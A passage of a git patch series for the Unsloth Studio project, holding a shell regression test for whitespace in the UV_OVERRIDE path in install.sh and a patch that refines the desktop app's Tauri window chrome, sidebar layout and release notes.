+`Shell installer tests` CI job runs a fixed script list that this is not part
+of, so without this wrapper the regression would only be covered locally via
+tests/run_all.sh.
+"""
+
+from __future__ import annotations
+
+import shutil
+import subprocess
+import sys
+from pathlib import Path
+
+import pytest
+
+REPO_ROOT = Path(__file__).resolve().parents[2]
+SHELL_TEST = REPO_ROOT / "tests" / "sh" / "test_install_uv_override_space.sh"
+
+
+@pytest.mark.skipif(sys.platform == "win32", reason = "POSIX shell installer test")
+@pytest.mark.skipif(shutil.which("bash") is None, reason = "bash not available")
+def test_install_uv_override_space_shell():
+    assert SHELL_TEST.is_file(), f"missing shell test: {SHELL_TEST}"
+    proc = subprocess.run(
+        ["bash", str(SHELL_TEST)],
+        capture_output = True,
+        text = True,
+    )
+    assert proc.returncode == 0, proc.stdout + proc.stderr
+    assert "ALL PASSED" in proc.stdout, proc.stdout + proc.stderr
diff --git a/tests/run_all.sh b/tests/run_all.sh
index 18182d9db7..d03f4c4d4f 100755
--- a/tests/run_all.sh
+++ b/tests/run_all.sh
@@ -15,6 +15,7 @@ sh "$TESTS_DIR/sh/test_resolve_cuda_archs.sh"
 sh "$TESTS_DIR/sh/test_strixhalo_wsl_reroute.sh"
 sh "$TESTS_DIR/sh/test_uninstall_shared_icon.sh"
 sh "$TESTS_DIR/sh/test_torch_flavor.sh"
+sh "$TESTS_DIR/sh/test_install_uv_override_space.sh"
 
 echo ""
 echo "=== Python tests ==="
diff --git a/tests/sh/test_install_uv_override_space.sh b/tests/sh/test_install_uv_override_space.sh
new file mode 100755
index 0000000000..07ef36295a
--- /dev/null
+++ b/tests/sh/test_install_uv_override_space.sh
@@ -0,0 +1,112 @@
+#!/bin/bash
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+# uv splits UV_OVERRIDE on whitespace, so a repo cloned under a path with a space
+# truncates it and aborts every later uv call (issue #6503). install.sh must hand
+# uv a space-free copy. Exercises the real install.sh hardening block.
+set -e
+
+SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
+INSTALL_SH="$SCRIPT_DIR/../../install.sh"
+PASS=0
+FAIL=0
+
+ok()  { echo "  PASS: $1"; PASS=$((PASS + 1)); }
+bad() { echo "  FAIL: $1"; FAIL=$((FAIL + 1)); }
+
+# Extract the UV_OVERRIDE hardening block (outer case ... esac plus the export)
+# and run it directly, so the test tracks install.sh rather than a copy of it.
+BLOCK=$(awk '
+    /case "[$]_OVERRIDES_FILE" in/ { grab = 1 }
+    grab { print }
+    grab && /export UV_OVERRIDE="[$]_OVERRIDES_FILE"/ { exit }
+' "$INSTALL_SH")
+if ! printf '%s' "$BLOCK" | grep -q 'export UV_OVERRIDE'; then
+    echo "  FAIL: could not extract UV_OVERRIDE block from install.sh"
+    exit 1
+fi
+
+run_block() {
+    _OVERRIDES_FILE="$1"
+    _UV_OVERRIDE_TMPDIR=""
+    unset UV_OVERRIDE
+    eval "$BLOCK"
+}
+
+echo "=== test_install_uv_override_space ==="
+
+# 1. Spaced path -> space-free copy with identical contents, temp dir tracked.
+WORK=$(mktemp -d)
+mkdir -p "$WORK/Open Source"
+SRC="$WORK/Open Source/overrides-darwin-arm64.txt"
+printf 'transformers>=4.57.6\n' > "$SRC"
+run_block "$SRC"
+case "$UV_OVERRIDE" in
+    *[[:space:]]*) bad "spaced path: UV_OVERRIDE still contains whitespace ($UV_OVERRIDE)" ;;
+    *)             ok  "spaced path: UV_OVERRIDE is whitespace-free" ;;
+esac
+[ "$UV_OVERRIDE" != "$SRC" ] && ok "spaced path: points at a copy" || bad "spaced path: not copied"
+[ "$(cat "$UV_OVERRIDE" 2>/dev/null)" = "transformers>=4.57.6" ] \
+    && ok "spaced path: copy contents identical" || bad "spaced path: contents differ"
+{ [ -n "$_UV_OVERRIDE_TMPDIR" ] && [ -d "$_UV_OVERRIDE_TMPDIR" ]; } \
+    && ok "spaced path: temp dir tracked for cleanup" || bad "spaced path: temp dir not tracked"
+# The exit-trap cleanup (_on_install_exit) must then remove it.
+[ -n "$_UV_OVERRIDE_TMPDIR" ] && rm -rf "$_UV_OVERRIDE_TMPDIR" 2>/dev/null || true
+[ ! -d "$_UV_OVERRIDE_TMPDIR" ] && ok "spaced path: temp dir removable" || bad "spaced path: temp dir lingers"
+rm -rf "$WORK"
+
+# 2. No-space path -> passthrough, no temp dir.
+PLAIN=$(mktemp -d)
+PSRC="$PLAIN/overrides-darwin-arm64.txt"
+printf 'transformers>=4.57.6\n' > "$PSRC"
+run_block "$PSRC"
+[ "$UV_OVERRIDE" = "$PSRC" ] && ok "no-space path: UV_OVERRIDE unchanged" || bad "no-space path: changed ($UV_OVERRIDE)"
+[ -z "$_UV_OVERRIDE_TMPDIR" ] && ok "no-space path: no temp dir created" || bad "no-space path: temp dir created"
+rm -rf "$PLAIN"
+
+# 3. TMPDIR itself contains a space -> fall back to the original path, no leak.
+WORK2=$(mktemp -d)
+mkdir -p "$WORK2/Open Source" "$WORK2/tmp dir"
+SRC2="$WORK2/Open Source/overrides-darwin-arm64.txt"
+printf 'transformers>=4.57.6\n' > "$SRC2"
+RES=$( TMPDIR="$WORK2/tmp dir"; export TMPDIR; run_block "$SRC2"
+       printf 'UV_OVERRIDE=%s\nTMPDIR_VAR=%s\n' "$UV_OVERRIDE" "$_UV_OVERRIDE_TMPDIR" )
+echo "$RES" | grep -qx "UV_OVERRIDE=$SRC2" \
+    && ok "spaced TMPDIR: falls back to original path" || bad "spaced TMPDIR: did not fall back ($RES)"
+echo "$RES" | grep -qx "TMPDIR_VAR=" \
+    && ok "spaced TMPDIR: no temp dir tracked" || bad "spaced TMPDIR: temp dir tracked"
+# mktemp may have created a dir under the spaced TMPDIR; it must not be leaked.
+_leftover=$(find "$WORK2/tmp dir" -mindepth 1 -maxdepth 1 -type d 2>/dev/null | head -n1)
+[ -z "$_leftover" ] && ok "spaced TMPDIR: no leaked temp dir" || bad "spaced TMPDIR: leaked $_leftover"
+rm -rf "$WORK2"
+
+# 4. A tab in the path is whitespace uv also splits on -> copied like a space.
+WORK3=$(mktemp -d)
+TABDIR=$(printf 'Open\tSource')
+mkdir -p "$WORK3/$TABDIR"
+SRC3="$WORK3/$TABDIR/overrides-darwin-arm64.txt"
+printf 'transformers>=4.57.6\n' > "$SRC3"
+run_block "$SRC3"
+case "$UV_OVERRIDE" in
+    *[[:space:]]*) bad "tab path: UV_OVERRIDE still contains whitespace" ;;
+    *)             ok  "tab path: UV_OVERRIDE is whitespace-free" ;;
+esac
+[ -n "$_UV_OVERRIDE_TMPDIR" ] && rm -rf "$_UV_OVERRIDE_TMPDIR" 2>/dev/null || true
+rm -rf "$WORK3"
+
+# 5. install.sh must clear _UV_OVERRIDE_TMPDIR before registering the exit trap,
+# so an inherited value can never reach the trap's rm -rf.
+_init_line=$(grep -n '^_UV_OVERRIDE_TMPDIR=""' "$INSTALL_SH" | head -n1 | cut -d: -f1)
+_trap_line=$(grep -n '^trap _on_install_exit EXIT' "$INSTALL_SH" | head -n1 | cut -d: -f1)
+{ [ -n "$_init_line" ] && [ -n "$_trap_line" ] && [ "$_init_line" -lt "$_trap_line" ]; } \
+    && ok "init: _UV_OVERRIDE_TMPDIR cleared before exit trap" \
+    || bad "init: _UV_OVERRIDE_TMPDIR not cleared before exit trap (init=$_init_line trap=$_trap_line)"
+
+echo ""
+echo "  PASS: $PASS"
+echo "  FAIL: $FAIL"
+if [ "$FAIL" -gt 0 ]; then
+    echo "FAILED"
+    exit 1
+fi
+echo "ALL PASSED"

From e25e7895a5024b3545d22b334c00b468b0f28141 Mon Sep 17 00:00:00 2001
From: Wasim Yousef Said <wasimysdev@gmail.com>
Date: Thu, 25 Jun 2026 02:56:25 +0200
Subject: [PATCH 103/306] Polish Studio desktop chrome (#6332)

* Polish Studio desktop chrome

* Fix desktop chrome chat header overlap

* Blend desktop titlebar with sidebar

* Refine desktop chrome alignment

* Fix desktop chrome review items

* Reserve mac sidebar chrome space

* Fix mac chrome review items

* Polish macOS desktop chrome

* Align macOS desktop chrome controls

* Lower macOS traffic lights

* Remove mac sidebar logo from chrome row

* Match Tauri update banner styling

* Update Tauri updater public key

* Fix Tauri startup screen spacing

* Work around AppImage WebKitGTK blank screen

* Mark Linux AppImage as experimental

* Address true desktop chrome review issues

* Fix remaining desktop chrome review issues

* Fix desktop titlebar inset review issues

* Refresh desktop platform after backend auth
---
 .github/workflows/release-desktop.yml         |  15 +-
 studio/frontend/src/app/provider.tsx          | 171 ++++++++++---
 studio/frontend/src/app/routes/__root.tsx     |   4 +-
 .../frontend/src/components/app-sidebar.tsx   | 242 +++++++++++-------
 .../src/components/assistant-ui/thread.tsx    |   4 +-
 studio/frontend/src/components/navbar.tsx     |  13 +-
 .../src/components/tauri/startup-screen.tsx   |   6 +-
 .../src/components/tauri/update-banner.tsx    | 127 +++++++--
 .../src/components/tauri/update-screen.tsx    |   4 +-
 .../src/components/tauri/window-titlebar.tsx  | 183 +++++++++----
 .../frontend/src/features/chat/chat-page.tsx  |  53 ++--
 .../src/features/chat/chat-settings-sheet.tsx |   9 +-
 .../src/features/settings/tabs/about-tab.tsx  |  46 ++--
 studio/src-tauri/icons/128x128.png            | Bin 9194 -> 10181 bytes
 studio/src-tauri/icons/32x32.png              | Bin 1930 -> 2065 bytes
 studio/src-tauri/icons/icon.icns              | Bin 263568 -> 311926 bytes
 studio/src-tauri/icons/icon.ico               | Bin 34589 -> 38034 bytes
 studio/src-tauri/icons/icon.png               | Bin 46007 -> 42705 bytes
 studio/src-tauri/src/main.rs                  |  24 ++
 studio/src-tauri/tauri.conf.json              |  12 +-
 20 files changed, 649 insertions(+), 264 deletions(-)

diff --git a/.github/workflows/release-desktop.yml b/.github/workflows/release-desktop.yml
index e747605322..884ff02d11 100644
--- a/.github/workflows/release-desktop.yml
+++ b/.github/workflows/release-desktop.yml
@@ -438,6 +438,12 @@ jobs:
             if (/\brpm\b|\.rpm/i.test(body)) {
               throw new Error('Desktop release body must not advertise RPM packages');
             }
+            if (/AppImage.*universal|universal.*AppImage/i.test(body)) {
+              throw new Error('Desktop release body must not advertise AppImage as universal');
+            }
+            if (!/AppImage.*experimental/i.test(body)) {
+              throw new Error('Desktop release body must mark AppImage as experimental');
+            }
           }
           JS
 
@@ -580,9 +586,10 @@ jobs:
 
             **macOS**: Download the Apple Silicon `.dmg`.
             **Windows**: Download the `-setup.exe` installer.
-            **Linux**: Download `.deb` (Ubuntu/Debian) or `.AppImage` (universal).
+            **Linux**: Download `.deb` for Ubuntu/Debian. `.AppImage` is experimental.
 
             > Linux in-app updates are AppImage-oriented. Package installs should update by downloading a new package.
+            > Linux AppImage can show a blank window on some Tauri/WebKitGTK + Wayland/Mesa stacks; use `.deb` when available.
             > Linux AppImage on Ubuntu 24.04+ may require: `sudo apt install libfuse2t64`
             > First-run system dependency elevation is supported on Ubuntu/Debian. Other Linux distributions should install system packages manually.
           releaseDraft: ${{ inputs.draft }}
@@ -611,9 +618,10 @@ jobs:
 
             **macOS**: Download the Apple Silicon `.dmg`.
             **Windows**: Download the `-setup.exe` installer.
-            **Linux**: Download `.deb` (Ubuntu/Debian) or `.AppImage` (universal).
+            **Linux**: Download `.deb` for Ubuntu/Debian. `.AppImage` is experimental.
 
             > Linux in-app updates are AppImage-oriented. Package installs should update by downloading a new package.
+            > Linux AppImage can show a blank window on some Tauri/WebKitGTK + Wayland/Mesa stacks; use `.deb` when available.
             > Linux AppImage on Ubuntu 24.04+ may require: `sudo apt install libfuse2t64`
             > First-run system dependency elevation is supported on Ubuntu/Debian. Other Linux distributions should install system packages manually.
           releaseDraft: ${{ inputs.draft }}
@@ -643,9 +651,10 @@ jobs:
 
             **macOS**: Download the Apple Silicon `.dmg`.
             **Windows**: Download the `-setup.exe` installer.
-            **Linux**: Download `.deb` (Ubuntu/Debian) or `.AppImage` (universal).
+            **Linux**: Download `.deb` for Ubuntu/Debian. `.AppImage` is experimental.
 
             > Linux in-app updates are AppImage-oriented. Package installs should update by downloading a new package.
+            > Linux AppImage can show a blank window on some Tauri/WebKitGTK + Wayland/Mesa stacks; use `.deb` when available.
             > Linux AppImage on Ubuntu 24.04+ may require: `sudo apt install libfuse2t64`
             > First-run system dependency elevation is supported on Ubuntu/Debian. Other Linux distributions should install system packages manually.
           releaseDraft: ${{ inputs.draft }}
diff --git a/studio/frontend/src/app/provider.tsx b/studio/frontend/src/app/provider.tsx
index 802f22e21e..914abbbf1d 100644
--- a/studio/frontend/src/app/provider.tsx
+++ b/studio/frontend/src/app/provider.tsx
@@ -6,6 +6,7 @@ import { UpdateBanner } from "@/components/tauri/update-banner";
 import { UpdateScreen } from "@/components/tauri/update-screen";
 import {
   WindowTitlebar,
+  shouldUseNativeMacWindowTitlebar,
   shouldUseCustomWindowTitlebar,
 } from "@/components/tauri/window-titlebar";
 import { Toaster } from "@/components/ui/sonner";
@@ -18,9 +19,16 @@ import { NativeIntentDrain } from "@/features/native-intents/native-intent-drain
 import { useTauriBackend, type BackendStatus } from "@/hooks/use-tauri-backend";
 import { useTauriUpdate } from "@/hooks/use-tauri-update";
 import { isTauri } from "@/lib/api-base";
+import { fetchDeviceType } from "@/config/env";
 import { useRouterState } from "@tanstack/react-router";
 import { ThemeProvider } from "next-themes";
-import { useEffect, useRef, useState, type ReactNode } from "react";
+import {
+  useEffect,
+  useRef,
+  useState,
+  type CSSProperties,
+  type ReactNode,
+} from "react";
 
 interface AppProviderProps {
   children: ReactNode;
@@ -31,18 +39,43 @@ type WindowLayoutGuard = () => boolean;
 
 const MIN_WINDOW_WIDTH = 900;
 const MIN_WINDOW_HEIGHT = 600;
+const SETUP_WINDOW_WIDTH = 760;
+const SETUP_WINDOW_HEIGHT = 560;
 
 async function showSetupWindow(isCurrent: WindowLayoutGuard): Promise<void> {
-  const { getCurrentWindow } = await import("@tauri-apps/api/window");
+  const { getCurrentWindow, LogicalSize } = await import("@tauri-apps/api/window");
   if (!isCurrent()) return;
 
   const win = getCurrentWindow();
+  await win.setResizable(false);
+  if (!isCurrent()) return;
+  await win.setSize(new LogicalSize(SETUP_WINDOW_WIDTH, SETUP_WINDOW_HEIGHT));
   if (!isCurrent()) return;
   await win.center();
   if (!isCurrent()) return;
   await win.show();
 }
 
+async function enforceMinimumWindowSize(
+  win: Awaited<ReturnType<typeof import("@tauri-apps/api/window")["getCurrentWindow"]>>,
+  LogicalSize: typeof import("@tauri-apps/api/window")["LogicalSize"],
+  isCurrent: WindowLayoutGuard,
+): Promise<void> {
+  const [innerSize, scaleFactor] = await Promise.all([
+    win.innerSize(),
+    win.scaleFactor(),
+  ]);
+  if (!isCurrent()) return;
+
+  const logicalWidth = Math.round(innerSize.width / scaleFactor);
+  const logicalHeight = Math.round(innerSize.height / scaleFactor);
+  const nextWidth = Math.max(logicalWidth, MIN_WINDOW_WIDTH);
+  const nextHeight = Math.max(logicalHeight, MIN_WINDOW_HEIGHT);
+  if (nextWidth !== logicalWidth || nextHeight !== logicalHeight) {
+    await win.setSize(new LogicalSize(nextWidth, nextHeight));
+  }
+}
+
 async function applyAppWindowLayout(isCurrent: WindowLayoutGuard): Promise<void> {
   const { getCurrentWindow, currentMonitor, LogicalSize } = await import("@tauri-apps/api/window");
   const { invoke } = await import("@tauri-apps/api/core");
@@ -91,6 +124,8 @@ async function applyAppWindowLayout(isCurrent: WindowLayoutGuard): Promise<void>
   // Apply constraints after restore/show: doing so before plugin restore can emit
   // a Resized event and overwrite the plugin's cached saved size.
   await win.setSizeConstraints({ minWidth: MIN_WINDOW_WIDTH, minHeight: MIN_WINDOW_HEIGHT });
+  if (!isCurrent()) return;
+  await enforceMinimumWindowSize(win, LogicalSize, isCurrent);
 }
 
 async function showWindowFallback(): Promise<void> {
@@ -123,7 +158,13 @@ function getTauriWindowMode(
   }
 }
 
-function TauriUpdateLayer({ isExternalServer }: { isExternalServer: boolean }) {
+function TauriUpdateLayer({
+  isExternalServer,
+  children,
+}: {
+  isExternalServer: boolean;
+  children?: ReactNode;
+}) {
   const update = useTauriUpdate(isExternalServer);
   const isUpdating =
     update.status === "updating-backend" ||
@@ -146,18 +187,22 @@ function TauriUpdateLayer({ isExternalServer }: { isExternalServer: boolean }) {
   }
 
   return (
-    <UpdateBanner
-      status={update.status}
-      info={update.info}
-      dismissed={update.dismissed}
-      lastFailure={update.lastFailure}
-      isExternalServer={isExternalServer}
-      updatePolicyMode={update.updatePolicyMode}
-      manualReleaseUrl={update.manualReleaseUrl}
-      onInstall={update.installUpdate}
-      onDismiss={update.dismiss}
-      onCopyDiagnostics={update.copyDiagnostics}
-    />
+    <div className="pointer-events-none fixed bottom-4 right-4 z-[9998] flex w-[calc(100vw-2rem)] max-w-[400px] flex-col items-stretch gap-2">
+      <UpdateBanner
+        status={update.status}
+        info={update.info}
+        dismissed={update.dismissed}
+        lastFailure={update.lastFailure}
+        isExternalServer={isExternalServer}
+        updatePolicyMode={update.updatePolicyMode}
+        manualReleaseUrl={update.manualReleaseUrl}
+        positioned={false}
+        onInstall={update.installUpdate}
+        onDismiss={update.dismiss}
+        onCopyDiagnostics={update.copyDiagnostics}
+      />
+      {children}
+    </div>
   );
 }
 
@@ -175,6 +220,35 @@ const WEB_UPDATE_HIDDEN_ROUTES = new Set([
   "/signup",
 ]);
 
+const MAC_NATIVE_CHROME_STYLE = {
+  "--studio-titlebar-height": "0px",
+  "--studio-mac-titlebar-height": "34px",
+  "--studio-mac-traffic-light-inset": "78px",
+  "--studio-startup-top-inset": "58px",
+  "--studio-content-top-inset": "0px",
+  "--studio-non-chat-content-top-inset": "34px",
+  "--studio-hidden-route-top-inset": "34px",
+  "--studio-chat-header-height": "44px",
+  "--studio-chat-header-padding-top": "8px",
+  "--studio-chat-control-height": "33px",
+  "--studio-chat-header-right-inset": "0px",
+} as CSSProperties;
+
+const CUSTOM_CHROME_STYLE = {
+  "--studio-titlebar-height": "0px",
+  "--studio-custom-titlebar-height": "34px",
+  "--studio-sidebar-expanded-width": "17.5rem",
+  "--studio-sidebar-collapsed-width": "3rem",
+  "--studio-startup-top-inset": "42px",
+  "--studio-content-top-inset": "34px",
+  "--studio-hidden-route-top-inset": "34px",
+  "--studio-chat-header-height": "48px",
+  "--studio-chat-header-padding-top": "9px",
+  "--studio-chat-control-height": "33px",
+  "--studio-chat-header-right-inset": "0px",
+  "--studio-window-control-inset": "112px",
+} as CSSProperties;
+
 function TauriWrapper({ children }: { children: ReactNode }) {
   const pathname = useRouterState({ select: (s) => s.location.pathname });
   const {
@@ -254,6 +328,11 @@ function TauriWrapper({ children }: { children: ReactNode }) {
     return () => { disposed = true; };
   }, [status, desktopAuthRetry]);
 
+  useEffect(() => {
+    if (!isTauri || status !== "running" || !desktopAuthReady) return;
+    void fetchDeviceType({ force: true }).catch(() => undefined);
+  }, [status, desktopAuthReady]);
+
   if (!isTauri) {
     return (
       <>
@@ -281,10 +360,19 @@ function TauriWrapper({ children }: { children: ReactNode }) {
     status === "running" && !desktopAuthReady
       ? "Signing in to desktop session..."
       : progressDetail;
+  const usesCustomTitlebar = shouldUseCustomWindowTitlebar();
+  const usesNativeMacTitlebar = shouldUseNativeMacWindowTitlebar();
+  const hidesTitlebarSidebar = HIDDEN_TITLEBAR_SIDEBAR_ROUTES.has(pathname);
 
   const content = showApp ? (
     <>
-      <TauriUpdateLayer isExternalServer={isExternalServer} />
+      <TauriUpdateLayer isExternalServer={isExternalServer}>
+        <LlamaUpdateBanner
+          positioned={false}
+          enabled={!hidesTitlebarSidebar}
+        />
+        <DownloadManagerPanel positioned={false} />
+      </TauriUpdateLayer>
       <NativeIntentDrain />
       {children}
     </>
@@ -305,39 +393,48 @@ function TauriWrapper({ children }: { children: ReactNode }) {
     />
   );
 
-  if (!shouldUseCustomWindowTitlebar()) {
+  if (!usesCustomTitlebar) {
     // macOS desktop uses the native titlebar and returns here before the
     // custom-titlebar branch, so mount the updater banner on this path too.
-    return (
-      <>
-        {content}
-        <div className="pointer-events-none fixed bottom-4 right-4 z-[9998] flex w-[calc(100vw-2rem)] max-w-[400px] flex-col items-stretch gap-2">
-          <LlamaUpdateBanner
-            positioned={false}
-            enabled={showApp && !HIDDEN_TITLEBAR_SIDEBAR_ROUTES.has(pathname)}
-          />
-          {showApp ? <DownloadManagerPanel positioned={false} /> : null}
+    if (usesNativeMacTitlebar) {
+      return (
+        <div
+          className={
+            hidesTitlebarSidebar
+              ? "relative h-dvh min-h-0 overflow-x-hidden overflow-y-auto bg-background"
+              : "relative h-dvh min-h-0 overflow-hidden bg-background"
+          }
+          style={MAC_NATIVE_CHROME_STYLE}
+        >
+          {(!showApp || hidesTitlebarSidebar) ? (
+            <div
+              data-tauri-drag-region
+              aria-hidden="true"
+              className="pointer-events-auto fixed inset-x-0 top-0 z-50 h-[var(--studio-mac-titlebar-height,34px)] select-none"
+            />
+          ) : null}
+          {content}
         </div>
-      </>
+      );
+    }
+
+    return (
+      <>{content}</>
     );
   }
 
   const showSidebarSurface =
-    showApp && !HIDDEN_TITLEBAR_SIDEBAR_ROUTES.has(pathname);
+    showApp && !hidesTitlebarSidebar;
 
   return (
-    <div className="flex h-dvh min-h-0 flex-col overflow-hidden bg-background [--studio-titlebar-height:34px]">
+    <div
+      className="relative h-dvh min-h-0 overflow-hidden bg-background"
+      style={CUSTOM_CHROME_STYLE}
+    >
       <WindowTitlebar showSidebarSurface={showSidebarSurface} />
-      <div className="min-h-0 flex-1 overflow-hidden">
+      <div className="h-full min-h-0 overflow-hidden">
         {content}
       </div>
-      <div className="pointer-events-none fixed bottom-4 right-4 z-[9998] flex w-[calc(100vw-2rem)] max-w-[400px] flex-col items-stretch gap-2">
-        <LlamaUpdateBanner
-          positioned={false}
-          enabled={showApp && !HIDDEN_TITLEBAR_SIDEBAR_ROUTES.has(pathname)}
-        />
-        {showApp ? <DownloadManagerPanel positioned={false} /> : null}
-      </div>
     </div>
   );
 }
diff --git a/studio/frontend/src/app/routes/__root.tsx b/studio/frontend/src/app/routes/__root.tsx
index 77ba5788db..e5fa6f0191 100644
--- a/studio/frontend/src/app/routes/__root.tsx
+++ b/studio/frontend/src/app/routes/__root.tsx
@@ -219,7 +219,7 @@ function RootLayout() {
       <SettingsDialog />
       <RemoteCodeConsentDialog />
       {hideNavbar ? (
-        <main className="flex-1">
+        <main className="flex-1 pt-[var(--studio-hidden-route-top-inset,0px)] [--studio-titlebar-height:var(--studio-hidden-route-top-inset,0px)]">
           <Suspense fallback={<RouteFallback />}>
             <Outlet />
           </Suspense>
@@ -235,7 +235,7 @@ function RootLayout() {
           <SidebarInset className={isChatRoute ? "overflow-hidden" : "overflow-y-auto"}>
             <Navbar />
             <div
-              className={`relative flex min-h-0 min-w-0 flex-1 basis-0 flex-col ${isChatRoute ? "overflow-hidden" : "overflow-visible"} ${isChatRoute ? "" : "pt-14 md:pt-0"}`}
+              className={`relative flex min-h-0 min-w-0 flex-1 basis-0 flex-col ${isChatRoute ? "overflow-hidden" : "overflow-visible"} ${isChatRoute ? "" : "pt-14 md:pt-[var(--studio-non-chat-content-top-inset,var(--studio-content-top-inset,0px))] md:[--studio-titlebar-height:var(--studio-non-chat-content-top-inset,var(--studio-content-top-inset,0px))]"}`}
             >
               {/* Stays mounted across navigation so an in-flight generation is
                   not cancelled when leaving /chat; hidden (not unmounted) off-route.
diff --git a/studio/frontend/src/components/app-sidebar.tsx b/studio/frontend/src/components/app-sidebar.tsx
index f563f9ae59..06f2701a16 100644
--- a/studio/frontend/src/components/app-sidebar.tsx
+++ b/studio/frontend/src/components/app-sidebar.tsx
@@ -44,7 +44,12 @@ import { Button } from "@/components/ui/button";
 import { Spinner } from "@/components/ui/spinner";
 import { Switch } from "@/components/ui/switch";
 import { useAnimatedThemeToggle } from "@/components/ui/animated-theme-toggler";
+import {
+  shouldUseCustomWindowTitlebar,
+  shouldUseNativeMacWindowTitlebar,
+} from "@/components/tauri/window-titlebar";
 import { cn } from "@/lib/utils";
+import { isTauri } from "@/lib/api-base";
 import { useWebUpdateCheck } from "@/hooks/use-web-update-check";
 import {
   Archive03Icon,
@@ -272,6 +277,8 @@ function devForceUpdateCard(): boolean {
 export function AppSidebar() {
   const t = useT();
   const { isDark, toggleTheme, anchorRef } = useAnimatedThemeToggle();
+  const [usesCustomTitlebar] = useState(shouldUseCustomWindowTitlebar);
+  const [usesNativeMacTitlebar] = useState(shouldUseNativeMacWindowTitlebar);
   const { pathname, search } = useRouterState({
     select: (s) => ({
       pathname: s.location.pathname,
@@ -458,6 +465,10 @@ export function AppSidebar() {
     isStudioRoute,
   ]);
 
+  const chatDisabled = trainingInProgress;
+  const showSidebarBrand = !usesCustomTitlebar;
+  const showCompactMacBrand = showSidebarBrand && usesNativeMacTitlebar;
+
   function chatSearchForProject(projectId: string | null) {
     if (projectId) {
       return { project: projectId };
@@ -983,81 +994,118 @@ export function AppSidebar() {
       variant="sidebar"
       className="font-heading group-data-[collapsible=icon]:[&_[data-sidebar=sidebar]]:bg-white dark:group-data-[collapsible=icon]:[&_[data-sidebar=sidebar]]:bg-background"
     >
-      <SidebarHeader className="pl-[17px] pr-3 pt-[14px] pb-[8px] group-data-[collapsible=icon]:px-0">
-        {/* Expanded: compact logo + close toggle */}
-        <div className="flex items-center justify-between gap-[8.5px] group-data-[collapsible=icon]:hidden">
-          <Link
-            to="/chat"
-            onClick={(event) => {
-              event.preventDefault();
-              openNewChat(null);
-            }}
-            className="flex items-center gap-[6px] select-none"
-            aria-label={t("shell.aria.home")}
-          >
-            <img
-              src="/circle-logo-small.png"
-              alt="Unsloth"
-              className="h-[34px] w-[34px] rounded-full object-cover"
-            />
-            <span className="font-heading text-[21px] font-semibold tracking-[0em] dark:tracking-[0.02em] leading-none text-black dark:text-white">
-              unsloth
-            </span>
-            <span className="nav-badge ml-0.5 inline-flex items-center justify-center rounded-full border border-nav-beta-border px-[5px] pt-[3px] pb-[2px] text-[8px] font-medium leading-none tracking-[0.04em] text-nav-fg-muted antialiased subpixel-antialiased shadow-[0_1px_2px_rgba(0,0,0,0.06)] dark:shadow-[0_1px_2px_rgba(0,0,0,0.35)]">
-              {t("shell.beta")}
-            </span>
-          </Link>
-          {!isMobile && (
-            <Tooltip>
-              <TooltipPrimitive.Trigger asChild>
-                <button
-                  type="button"
-                  onClick={togglePinned}
-                  className="inline-flex h-[33px] w-[33px] cursor-pointer items-center justify-center rounded-[10px] text-nav-icon-idle dark:text-nav-fg-muted transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
-                  aria-label={t("shell.aria.closeSidebar")}
+      <SidebarHeader
+        className={cn(
+          "relative",
+          showSidebarBrand
+            ? showCompactMacBrand
+              ? "h-[var(--studio-chat-header-height,48px)] pl-[calc(var(--studio-mac-traffic-light-inset,78px)+6px)] pr-2 pt-[var(--studio-chat-header-padding-top,9px)] pb-0 group-data-[collapsible=icon]:h-[calc(var(--studio-mac-titlebar-height,34px)+var(--studio-chat-control-height,33px)+8px)] group-data-[collapsible=icon]:px-0 group-data-[collapsible=icon]:pt-[calc(var(--studio-mac-titlebar-height,34px)+8px)]"
+              : "pl-[17px] pr-3 pt-[14px] pb-[8px] group-data-[collapsible=icon]:px-0"
+            : "h-[var(--studio-custom-titlebar-height,34px)] shrink-0 p-0",
+        )}
+      >
+        {showSidebarBrand && (
+          <>
+            {usesNativeMacTitlebar && (
+              <div
+                data-tauri-drag-region
+                aria-hidden="true"
+                className="absolute inset-x-0 top-0 z-0 h-[var(--studio-mac-titlebar-height,34px)] select-none"
+              />
+            )}
+            <div
+              className={cn(
+                "relative z-10 flex items-center gap-[8.5px] group-data-[collapsible=icon]:hidden",
+                showCompactMacBrand &&
+                  "h-[var(--studio-chat-control-height,33px)] justify-end gap-2",
+                !showCompactMacBrand && "justify-between",
+              )}
+            >
+              {!showCompactMacBrand && (
+                <Link
+                  to="/chat"
+                  onClick={(event) => {
+                    event.preventDefault();
+                    if (chatDisabled) return;
+                    openNewChat(null);
+                  }}
+                  className={cn(
+                    "flex items-center gap-[6px] select-none transition-opacity",
+                    chatDisabled && "pointer-events-none opacity-50",
+                  )}
+                  aria-label={t("shell.aria.home")}
+                  aria-disabled={chatDisabled}
+                  tabIndex={chatDisabled ? -1 : undefined}
                 >
-                  <HugeiconsIcon icon={LayoutAlignLeftIcon} strokeWidth={1.75} className="size-icon" />
-                </button>
-              </TooltipPrimitive.Trigger>
-              <TooltipContent
-                side="bottom"
-                sideOffset={6}
-                className="tooltip-compact"
-              >
-                {t("shell.aria.closeSidebar")}
-              </TooltipContent>
-            </Tooltip>
-          )}
-        </div>
-
-        {/* Collapsed: panel icon doubles as expand trigger */}
-        {!isMobile && (
-          <div className="hidden group-data-[collapsible=icon]:flex h-[33px] items-center justify-center w-full">
-            <Tooltip>
-              <TooltipPrimitive.Trigger asChild>
-                <button
-                  type="button"
-                  onClick={togglePinned}
-                  className="inline-flex h-[33px] w-[33px] cursor-pointer items-center justify-center rounded-[10px] text-nav-fg transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
-                  aria-label={t("shell.aria.openSidebar")}
-                >
-                  <HugeiconsIcon icon={LayoutAlignLeftIcon} strokeWidth={1.75} className="size-icon" />
-                </button>
-              </TooltipPrimitive.Trigger>
-              <TooltipContent
-                side="right"
-                sideOffset={8}
-                className="tooltip-compact"
-              >
-                {t("shell.aria.openSidebar")}
-              </TooltipContent>
-            </Tooltip>
-          </div>
+                  <img
+                    src="/circle-logo-small.png"
+                    alt="Unsloth"
+                    className="h-[34px] w-[34px] rounded-full object-cover"
+                  />
